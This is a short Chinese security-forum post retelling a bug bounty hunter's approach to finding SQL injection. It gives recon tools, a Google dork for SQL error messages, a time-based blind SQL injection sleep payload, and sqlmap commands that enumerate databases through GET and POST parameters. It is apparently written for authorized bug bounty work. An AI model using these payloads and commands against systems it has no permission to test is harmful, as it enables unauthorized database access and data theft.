安全矩阵

 找回密码
 立即注册
搜索
查看: 872|回复: 0

如何在两个不同的网站中发现SQL注入

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-9-1 23:14:20 | 显示全部楼层 |阅读模式
1.背景介绍


今天的故事来自叙利亚的一位白帽子,名叫 Ahmad Yussef ,他是一名兼职的漏洞赏金猎手。

2.侦察


关于收集子域,他习惯使用 Subfinder、Assfinder 这两款工具,而对于收集隐藏参数,他习惯使用 Arjun和Katana两款工具。
katana -u "url + parameter"
当然,他也会使用Google Dorking和Shodan.io 来替代Httpx、Httprobe。

3.方法


通常的方法基本是基于SQL错误,Google Dorking:
site:target.com intext:"sql syntax near" | intext:"syntax error has occurred" | intext:"incorrect syntax near" | intext:"unexpected end of SQL command" | intext:"Warning: mysql_connect()" | intext:"Warning: mysql_query()" | intext:"Warning: pg_connect()"也会通过手动方式,在参数后面添加单引号或双引号,如果请求响应了SQL错误,基本就意味着存在漏洞。

对于SQL盲注,他比较喜欢使用Sleep Payloads:
0’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z63770’XOR(if(now()=sysdate(),sleep(6),0))XOR’Z

4.Sqlmap



如果不知道参数是否存在漏洞,可以使用 Sqlmap 进行检测,因为它是发现此类漏洞的最佳工具。


如果是GET方式,可以使用:
sqlmap -u “target.com” --random-agent --level 1 --risk 1 --dbs

如果没有发现任何错误,也不要那么着急放弃,可以考虑更改level和risk等级,如果是POST方式,则可以使用:
sqlmap -u "target.com" --data "parameter=value" --method POST --random-agent --level 1 --risk 1 --dbs.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:43 , Processed in 0.016336 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表